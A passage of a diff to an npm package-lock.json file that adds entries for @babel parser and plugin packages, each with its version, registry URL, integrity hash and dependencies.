"has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.21.2.tgz", + "integrity": "sha512-URpaIJQwEkEC2T9Kn+Ai6Xe/02iNaVCuT/PtoRz3GPVJVDpPd7mLo+VddTbhCRU9TXqW5mSrQfXZyi8kDKOVpQ==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-proposal-async-generator-functions": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.10.5.tgz", + "integrity": "sha512-cNMCVezQbrRGvXJwm9fu/1sJj9bHdGAgKodZdLqOQIpfoH3raqmRPBM17+lh7CzhiKRRBrGtZL9WcjxSoGYUSg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-remap-async-to-generator": "^7.10.4", + "@babel/plugin-syntax-async-generators": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-dynamic-import": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.10.4.tgz", + "integrity": "sha512-up6oID1LeidOOASNXgv/CFbgBqTuKJ0cJjz6An5tWD+NVBNlp3VNSBxv2ZdU7SYl3NxJC7agAQDApZusV6uFwQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-dynamic-import": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-export-default-from": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-default-from/-/plugin-proposal-export-default-from-7.18.10.tgz", + "integrity": "sha512-5H2N3R2aQFxkV4PIBUR/i7PUSwgTZjouJKzI8eKswfIjT0PhvzkPn0t0wIS5zn6maQuvtT0t1oHtMUz61LOuow==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.9", + "@babel/plugin-syntax-export-default-from": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-json-strings": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.10.4.tgz", + "integrity": "sha512-fCL7QF0Jo83uy1K0P2YXrfX11tj3lkpN7l4dMv9Y9VkowkhkQDwFHFd8IiwyK5MZjE8UpbgokkgtcReH88Abaw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.10.4.tgz", + "integrity": "sha512-73/G7QoRoeNkLZFxsoCCvlg4ezE4eM+57PnOqgaPOozd5myfj7p0muD1mRVJvbUWbOzD+q3No2bWbaKy+DJ8DA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-object-rest-spread": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.10.4.tgz", + "integrity": "sha512-6vh4SqRuLLarjgeOf4EaROJAHjvu9Gl+/346PbDH9yWbJyfnJ/ah3jmYKYtswEyCoWZiidvVHjHshd4WgjB9BA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.0", + "@babel/plugin-transform-parameters": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-catch-binding": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.10.4.tgz", + "integrity": "sha512-LflT6nPh+GK2MnFiKDyLiqSqVHkQnVf7hdoAvyTnnKj9xB3docGRsdPuxp6qqqW19ifK3xgc9U5/FwrSaCNX5g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.10.4.tgz", + "integrity": "sha512-wh5GJleuI8k3emgTg5KkJK6kHNsGEr0uBTDBuQUBJwckk9xs1ez79ioheEVVxMLyPscB0LfkbVHslQqIzWV6Bw==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-unicode-property-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.10.4.tgz", + "integrity": "sha512-H+3fOgPnEXFL9zGYtKQe4IDOPKYlZdF1kqFDQRRb8PK4B8af1vAGK04tF5iQAAsui+mHNBQSAtd2/ndEDe9wuA==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.10.4.tgz", + "integrity": "sha512-GCSBF7iUle6rNugfURwNmCGG3Z/2+opxAMLs1nND4bhEG5PuxTIggDBoeYYSujAlLtsupzOHYJQgPS3pivwXIA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-default-from": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-default-from/-/plugin-syntax-export-default-from-7.18.6.tgz", + "integrity": "sha512-Kr//z3ujSVNx6E9z9ih5xXXMqK07VVTuqPmqGe6Mss/zW5XPeLZeSDZoP9ab/hT4wPKqAgjl2PnhPrcpk8Seew==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-flow": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.18.6.tgz", + "integrity": "sha512-LUbR+KNTBWCUAqRG9ex5Gnzu2IOkt8jRJbHHXFT9q+L9zm7M/QQbEqXyw1n1pohYvOyWC8CjeyjrSaIwiYjK7A==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.10.4.tgz", + "integrity": "sha512-ni1brg4lXEmWyafKr0ccFWkJG0CeMt4WV1oyeBW6EFObF4oOHclbkj5cARxAPQyAQ2UTuplJyK4nfkXIMMFvsQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.20.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.20.0.tgz", + "integrity": "sha512-rd9TkG+u1CExzS4SM1BlMEhMXwFLKVjOAFFCDx9PbX5ycJWDoWMcwdJH9RhkPu1dOgn5TrxLot/Gx6lWFuAUNQ==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.10.4.tgz", + "integrity": "sha512-9J/oD1jV0ZCBcgnoFWFq1vJd4msoKb/TCpGNFyyLt0zABdcvgK3aYikZ8HjzB14c26bc7E3Q1yugpwGy2aTPNA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.10.4.tgz", + "integrity": "sha512-F6nREOan7J5UXTLsDsZG3DXmZSVofr2tGNwfdrVwkDWHfQckbQXnXSPfD7iO+c/2HGqycwyLST3DnZ16n+cBJQ==", + "dependencies": { + "@babel/helper-module-imports": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-remap-async-to-generator": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.10.4.tgz", + "integrity": "sha512-WzXDarQXYYfjaV1szJvN3AD7rZgZzC1JtjJZ8dMHUyiK8mxPRahynp14zzNjU3VkPqPsO38CzxiWO1c9ARZ8JA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.10.5.tgz", + "integrity": "sha512-6Ycw3hjpQti0qssQcA6AMSFDHeNJ++R6dIMnpRqUjFeBBTmTDPa8zgF90OVfTvAo11mXZTlVUViY1g8ffrURLg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.10.4.tgz", + "integrity": "sha512-2oZ9qLjt161dn1ZE0Ms66xBncQH4In8Sqw1YWgBUZuGVJJS5c0OFZXL6dP2MRHrkU/eKhWg8CzFJhRQl50rQxA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-define-map": "^7.10.4", + "@babel/helper-function-name": "^7.10.4", + "@babel/helper-optimise-call-expression": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-replace-supers": "^7.10.4", + "@babel/helper-split-export-declaration": "^7.10.4", + "globals": "^11.1.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes/node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.10.4.tgz", + "integrity": "sha512-JFwVDXcP/hM/TbyzGq3l/XWGut7p46Z3QvqFMXTfk6/09m7xZHJUN9xHfsv7vqqD4YnfI5ueYdSJtXqqBLyjBw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.10.4.tgz", + "integrity": "sha512-+WmfvyfsyF603iPa6825mq6Qrb7uLjTOsa3XOFzlYcYDHSS4QmpOWOL0NNBY5qMbvrcf3tq0Cw+v4lxswOBpgA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.10.4.tgz", + "integrity": "sha512-ZEAVvUTCMlMFAbASYSVQoxIbHm2OkG2MseW6bV2JjIygOjdVv8tuxrCTzj1+Rynh7ODb8GivUy7dzEXzEhuPaA==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.10.4.tgz", + "integrity": "sha512-GL0/fJnmgMclHiBTTWXNlYjYsA7rDrtsazHG6mglaGSTh0KsrW04qml+Bbz9FL0LcJIRwBWL5ZqlNHKTkU3xAA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.10.4.tgz", + "integrity": "sha512-S5HgLVgkBcRdyQAHbKj+7KyuWx8C6t5oETmUuwz1pt3WTWJhsUV0WIIXuVvfXMxl/QQyHKlSCNNtaIamG8fysw==", + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-flow-strip-types": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.21.0.tgz", + "integrity": "sha512-FlFA2Mj87a6sDkW4gfGrQQqwY/dLlBAyJa2dJEZ+FHXUVHBflO2wyKvg+OOEzXfrKYIa4HWl0mgmbCzt0cMb7w==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-flow": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.10.4.tgz", + "integrity": "sha512-ItdQfAzu9AlEqmusA/65TqJ79eRcgGmpPPFvBnGILXZH975G0LNjP1yjHvGgfuCxqrPPueXOPe+FsvxmxKiHHQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.10.4.tgz", + "integrity": "sha512-OcDCq2y5+E0dVD5MagT5X+yTRbcvFjDI2ZVAottGH6tzqjx/LKpgkUepu3hp/u4tZBzxxpNGwLsAvGBvQ2mJzg==", + "dependencies": { + "@babel/helper-function-name": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.10.4.tgz", + "integrity": "sha512-Xd/dFSTEVuUWnyZiMu76/InZxLTYilOSr1UlHV+p115Z/Le2Fi1KXkJUYz0b42DfndostYlPub3m8ZTQlMaiqQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.10.4.tgz", + "integrity": "sha512-0bFOvPyAoTBhtcJLr9VcwZqKmSjFml1iVxvPL0ReomGU53CX53HsM4h2SzckNdkQcHox1bpAqzxBI1Y09LlBSw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.10.5.tgz", + "integrity": "sha512-elm5uruNio7CTLFItVC/rIzKLfQ17+fX7EVz5W0TMgIHFo1zY0Ozzx+lgwhL4plzl8OzVn6Qasx5DeEFyoNiRw==", + "dependencies": { + "@babel/helper-module-transforms": "^7.10.5", + "@babel/helper-plugin-utils": "^7.10.4", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.21.2.tgz", + "integrity": "sha512-Cln+Yy04Gxua7iPdj6nOV96smLGjpElir5YwzF0LBPKoPlLDNJePNlrGGaybAJkd0zKRnOVXOgizSqPYMNYkzA==", + "dependencies": { + "@babel/helper-module-transforms": "^7.21.2", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-simple-access": "^7.20.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.10.5.tgz", + "integrity": "sha512-f4RLO/OL14/FP1AEbcsWMzpbUz6tssRaeQg11RH1BP/XnPpRoVwgeYViMFacnkaw4k4wjRSjn3ip1Uw9TaXuMw==", + "dependencies": { + "@babel/helper-hoist-variables": "^7.10.4", + "@babel/helper-module-transforms": "^7.10.5", + "@babel/helper-plugin-utils": "^7.10.4", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.10.4.tgz", + "integrity": "sha512-mohW5q3uAEt8T45YT7Qc5ws6mWgJAaL/8BfWD9Dodo1A3RKWli8wTS+WiQ/knF+tXlPirW/1/MqzzGfCExKECA==", + "dependencies": { + "@babel/helper-module-transforms": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.10.4.tgz", + "integrity": "sha512-V6LuOnD31kTkxQPhKiVYzYC/Jgdq53irJC/xBSmqcNcqFGV+PER4l6rU5SH2Vl7bH9mLDHcc0+l9HUOe4RNGKA==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.10.4.tgz", + "integrity": "sha512-YXwWUDAH/J6dlfwqlWsztI2Puz1NtUAubXhOPLQ5gjR/qmQ5U96DY4FQO8At33JN4XPBhrjB8I4eMmLROjjLjw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.10.4.tgz", + "integrity": "sha512-5iTw0JkdRdJvr7sY0vHqTpnruUpTea32JHmq/atIWqsnNussbRzjEDyWep8UNztt1B5IusBYg8Irb0bLbiEBCQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-replace-supers": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.10.5.tgz", + "integrity": "sha512-xPHwUj5RdFV8l1wuYiu5S9fqWGM2DrYc24TMvUiRrPVm+SM3XeqU9BcokQX/kEUe+p2RBwy+yoiR1w/Blq6ubw==", + "dependencies": { + "@babel/helper-get-function-arity": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.10.4.tgz", + "integrity": "sha512-ofsAcKiUxQ8TY4sScgsGeR2vJIsfrzqvFb9GvJ5UdXDzl+MyYCaBj/FGzXuv7qE0aJcjWMILny1epqelnFlz8g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz", + "integrity": 